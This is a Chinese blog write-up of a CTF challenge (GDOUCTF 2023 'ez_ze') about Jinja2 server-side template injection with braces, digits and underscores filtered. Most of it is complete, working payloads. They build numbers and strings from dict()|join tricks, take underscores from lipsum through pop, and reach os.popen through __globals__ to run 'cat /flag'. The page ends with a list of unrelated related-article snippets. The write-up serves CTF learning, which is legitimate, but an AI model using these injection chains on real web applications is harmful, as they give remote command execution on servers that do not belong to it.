[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}


解释一下 如果条件里为真 就输出 result 否则不输出

修改一下
{%if not a%}yes{%endif%}

第二种

{%print 123%}

通过输出123来判断

 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}

然后我们数 可以发现 _ 在24 所以我们索引即可

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取__builtins__


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   

{% set kong=(lipsum|string|list)|attr(pop)(9) %}

{% set xhx=(lipsum|string|list)|attr(pop)(18) %}

{% set re=(config|string|list)|attr(pop)(239) %}

{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}

{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}

{% set o=dict(o=a,s=b)|join %}

{% set po=dict(pop=a,en=b)|join %}

{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}

{% set read=dict(read=a)|join %}

{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

这里原型是

lipsum.__globals__.getitem[os].popen(cat flag).read()

类似于这种

 真是一个恐怖的ssti

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/113206.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PCL setCameraPosition 参数讲解

setCameraPosition 的原型如下void setCameraPosition (double pos_x, double pos_y, double pos_z,double view_x, double view_y, double view_z,double up_x, double up_y, double up_z, int viewport 0);pos_x pos_y pos_z为相机所在的位置view_x view_y view_z 是焦点所…

Jmeter参数化 —— 循环断言多方法

1、参数化接口测试数据 注意:csv文档参数化,里面有多少条数据,就要在线程组里循环多少次,不然就只执行一次 2、添加配置元件-计数器 关于计数器: ①Starting Value:给定计数器的初始值; ②递增&#xff1a…

EVM6678L 开发教程: IBL-TFTP 引导 elf 文件

目录 EVM6678L 开发教程: IBL-TFTP 引导 elf 文件安装 Tftpd64测试工程测试说明 EVM6678L 开发教程: IBL-TFTP 引导 elf 文件 参考: "C:\ti\mcsdk_2_01_02_06\tools\boot_loader\examples\i2c\tftp\docs\README.txt" 此教程介绍如何在 EVM6678L 开发板上实现 IBL-…

NOIP2023模拟9联测30 金牌

题目大意 有一棵 n n n个顶点的树,这棵树上长度为 d d d的简单路径的价值为 2 d 2^d 2d。 有 q q q次询问,每次给出两个正整数 x , y x,y x,y,请你回答所有通过顶点 x x x和 y y y的简单路径的价值之和,输出答案模 998244353 99…

【多线程面试题十五】、synchronized可以修饰静态方法和静态代码块吗?

文章底部有个人公众号:热爱技术的小郑。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享? 踩过的坑没必要让别人在再踩,自己复盘也能加深记忆。利己利人、所谓双赢。 面试官:synchronized可以修饰静…

css图片保持比例and图片占满整个div

一、非背景图 ①保持宽度固定 img { width: 200px; height: auto; } ②保持高度固定 img { height: 300px; width: auto; } ③保持比例 /* 比例不变 */ img { max-width: 100%; height: auto; } /* 垂直居中 */ img { max-width: 100%; height: auto; display: block; margin:…

【JMeter】插件管理工具

1. 官方下载地址 Documentation :: JMeter-Plugins.org 2.安装 将该插件的jar包移动到lib/ext下 3.重启JMeter就可以看到插件管理器 4. 安装,更新,删除插件 安装插件 删除插件 更新插件

Vue3.0 toRef toRefs :VCA模式

简介 作用: 创建一个ref对象,其value值指向另一个对象中的某个属性 语法: const name toRef(person, name) 应用: 要将响应式对象中的某个属性单独供应给外部使用时 扩展: toRefs与toRef功能一致,但可…

“排队领奖,购物狂欢!开启全新商业模式

欢迎来到这个充满惊喜的商业模式——工会排队奖励模式!在这个时代,你是否感到购物和消费的乐趣被平淡无奇的模式所限制?那么,这个全新的商业模式将带你进入一个充满刺激和惊喜的世界! 想象一下,当你购物时&…

分类预测 | Matlab实现KOA-CNN-LSTM-selfAttention多特征分类预测(自注意力机制)

分类预测 | Matlab实现KOA-CNN-LSTM-selfAttention多特征分类预测(自注意力机制) 目录 分类预测 | Matlab实现KOA-CNN-LSTM-selfAttention多特征分类预测(自注意力机制)分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Mat…

web3 在React dapp中全局管理web3当前登录用户/智能合约等信息

上文 Web3 React项目Dapp获取智能合约对象我们在自己的前端dapp项目中链接获取到了 自己的智能合约 我们继续 我们还是先启动ganache环境 终端输入 ganache -d然后发布一下我们的智能合约 打开我们的合约项目 终端输入 truffle migrate --reset这样 我们的智能合约就部署到区…

智能井盖传感器推荐,万宾科技助力城市信息化建设

随着科技产品更新换代进程加快,人工智能在人们日常生活之中逐渐普及开来,深入人们生活的方方面面,影响城市基础设施建设工程。例如在大街小巷之中的井盖作为城市基础建设的一个重要部分,一旦出现松动倾斜或凸起等异常问题&#xf…

SECS/GEN HSMS半导体通信协议解析

协议族总体结构 HSMS消息格式(网口连接) 超时时间设置 T3 回复超时:指发送指令到接收到回复指令的最大时间; T5 连接间隔:指断开连接和重新连接的最小时间; T6 控制指令超时时间:主要指连接选…

5.1 运输层协议概述

思维导图: 前言: 第5章 运输层笔记 1. 概览 主要内容:介绍运输层协议的特点、进程间通信、端口、UDP和TCP协议、可靠传输、TCP报文段的首部格式、TCP的关键概念(如滑动窗口、流量控制、拥塞控制和连接管理)。重要性…

从JDBD的封装方面重新认识Mybaits

前言:SQLSession是对JDBC的封装 MyBatis 是一个 Java 持久化框架,它通过对 JDBC 的封装来简化数据库访问操作。核心的 SQLSession 对象是 MyBatis 的核心组件之一,负责管理数据库连接、执行 SQL 语句以及映射查询结果等功能。 具体来说&…

2023年【山东省安全员C证】考试资料及山东省安全员C证模拟试题

题库来源:安全生产模拟考试一点通公众号小程序 山东省安全员C证考试资料是安全生产模拟考试一点通生成的,山东省安全员C证证模拟考试题库是根据山东省安全员C证最新版教材汇编出山东省安全员C证仿真模拟考试。2023年【山东省安全员C证】考试资料及山东省…

再谈jdk的代理

文章迁移自语雀。 其实jdk的代理模式已经说了很多次了,现在是北京时间2020年2月16日23:15:06, 躺在床上打字,手冰冷的,写完这个总结就睡觉的. 现在手感觉没啥知觉了, 好冷, 现在是2020年2月16日23:50:51., 写了45分钟. 关电脑准备睡觉,明天看jdk的动态代理实现,学习大师的作品…

uniapp 编译到模拟器(mumu)

一开始我是用逍遥模拟器,但这个玩意突然不好使了,一直加载卡在这页面 1、下载 官网下载:mumu模拟器12 2、打开mumu多开器,在右上角adb查看端口号 3、打开mumu模拟器 4、打开HBuiderX 工具—设置—运行配置 5、配置电脑的系统…

驱动开发11-1 编写IIC驱动-读取温湿度数据

头文件 head.h #ifndef __HEAD_H__ #define __HEAD_H__ #define GET_HUM _IOR(m, 1, int) #define GET_TEM _IOR(m, 0, int) #endif 应用程序 si7006.c #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #inc…

「更新」Macos屏幕录像工具:ScreenFlow

mac电脑屏幕截图工具哪个好&#xff1f;ScreenFlow是Mac上的一款优秀的屏幕录像软件&#xff0c;它不仅具有屏幕录制功能&#xff0c;还具有视频编辑功能。以下是对ScreenFlow的一些详细介绍&#xff1a; 首先&#xff0c;ScreenFlow可以捕获摄像机、麦克风和计算机音频&#…
最新文章